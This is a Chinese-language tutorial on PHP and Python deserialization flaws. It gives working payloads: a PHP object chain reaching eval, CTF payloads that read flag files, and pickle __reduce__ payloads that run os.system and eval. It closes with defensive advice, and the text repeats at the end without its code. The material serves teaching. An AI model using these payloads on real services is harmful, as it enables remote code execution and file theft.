php和python反序列化漏洞分析
字数 1137 2025-08-20 18:18:05

PHP和Python反序列化漏洞分析

序列化与反序列化基础

序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。反序列化则是将这些格式化字符串转为对象形式的过程。

PHP序列化格式

O:7:"Student":1:{s:4:"name";s:4:"zjun";}
  • O表示对象
  • 7是对象名称长度
  • Student是类名
  • 1表示有1个成员变量
  • s:4:"name"表示字符串类型,长度4,变量名"name"
  • s:4:"zjun"表示字符串类型,长度4,值"zjun"

PHP不同可见性属性的序列化

  • public: 直接显示变量名 s:4:"name";s:4:"zjun";
  • protected: 添加\x00*\x00前缀 s:6:"\x00*\x00age";s:2:"19";
  • private: 添加\x00类名\x00前缀 s:15:"\x00Student\x00weight";s:2:"53";

PHP反序列化漏洞

关键魔术方法

魔术方法 触发时机
__sleep() 在对象被序列化时调用
__wakeup() 在对象被反序列化时调用
__construct() 创建新对象时调用
__destruct() 对象被销毁时调用
__toString() 对象被当作字符串使用时调用

漏洞利用示例

class Student{
    var $a;
    function __destruct() {
        $this->a->action();
    }
}

class one {
    var $b;
    function action() {
        eval($this->b);
    }
}

unserialize($_GET['a']);

构造payload:

class Student {
    var $a;
    function __construct() {
        $this->a = new one();
    }
}
class one {
    var $b = "phpinfo();";
}
echo serialize(new Student());
// 输出: O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}

实例分析:网鼎杯2020青龙组AreUSerialz

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->process();
    }
    
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        }
    }
    
    private function read() {
        return file_get_contents($this->filename);
    }
}

绕过方法:

  1. PHP7+对属性类型不敏感,可将protected改为public绕过字符检查
  2. 设置op=2触发文件读取

构造payload:

class FileHandler {
    public $op = 2;
    public $filename = "flag.php";
    public $content;
}
echo serialize(new FileHandler());
// 输出: O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

Python反序列化漏洞

序列化模块

  1. pickle模块 - Python特有格式
  2. json模块 - 通用格式

pickle漏洞利用

通过重写__reduce__方法实现命令执行:

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
pickle.loads(payload)  # 执行whoami命令

实例分析:CISCN2019华北赛区Day1 Web2 ikun

become = request.cookies.get('become')
user = pickle.loads(urllib.unquote(become))  # 反序列化漏洞

构造payload读取文件:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
# 输出: c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

防御措施

PHP防御

  1. 避免反序列化用户输入
  2. 使用json_encode()/json_decode()替代
  3. 实现__wakeup()__destruct()时进行安全检查

Python防御

  1. 使用json模块替代pickle
  2. 使用pickle时设置pickle.Unpicklerfind_class限制可加载的类
  3. 不要反序列化不可信数据

总结

反序列化漏洞本质上是由于反序列化过程会执行对象的特定方法,攻击者通过精心构造的序列化数据触发危险操作。理解语言特定的序列化机制和魔术方法是发现和利用这类漏洞的关键。

PHP和Python反序列化漏洞分析 序列化与反序列化基础 序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。反序列化则是将这些格式化字符串转为对象形式的过程。 PHP序列化格式 O 表示对象 7 是对象名称长度 Student 是类名 1 表示有1个成员变量 s:4:"name" 表示字符串类型,长度4,变量名"name" s:4:"zjun" 表示字符串类型,长度4,值"zjun" PHP不同可见性属性的序列化 public : 直接显示变量名 s:4:"name";s:4:"zjun"; protected : 添加 \x00*\x00 前缀 s:6:"\x00*\x00age";s:2:"19"; private : 添加 \x00类名\x00 前缀 s:15:"\x00Student\x00weight";s:2:"53"; PHP反序列化漏洞 关键魔术方法 | 魔术方法 | 触发时机 | |---------|---------| | __sleep() | 在对象被序列化时调用 | | __wakeup() | 在对象被反序列化时调用 | | __construct() | 创建新对象时调用 | | __destruct() | 对象被销毁时调用 | | __toString() | 对象被当作字符串使用时调用 | 漏洞利用示例 构造payload: 实例分析:网鼎杯2020青龙组AreUSerialz 绕过方法: PHP7+对属性类型不敏感,可将protected改为public绕过字符检查 设置op=2触发文件读取 构造payload: Python反序列化漏洞 序列化模块 pickle模块 - Python特有格式 json模块 - 通用格式 pickle漏洞利用 通过重写 __reduce__ 方法实现命令执行: 实例分析:CISCN2019华北赛区Day1 Web2 ikun 构造payload读取文件: 防御措施 PHP防御 避免反序列化用户输入 使用 json_encode() / json_decode() 替代 实现 __wakeup() 或 __destruct() 时进行安全检查 Python防御 使用 json 模块替代 pickle 使用 pickle 时设置 pickle.Unpickler 的 find_class 限制可加载的类 不要反序列化不可信数据 总结 反序列化漏洞本质上是由于反序列化过程会执行对象的特定方法,攻击者通过精心构造的序列化数据触发危险操作。理解语言特定的序列化机制和魔术方法是发现和利用这类漏洞的关键。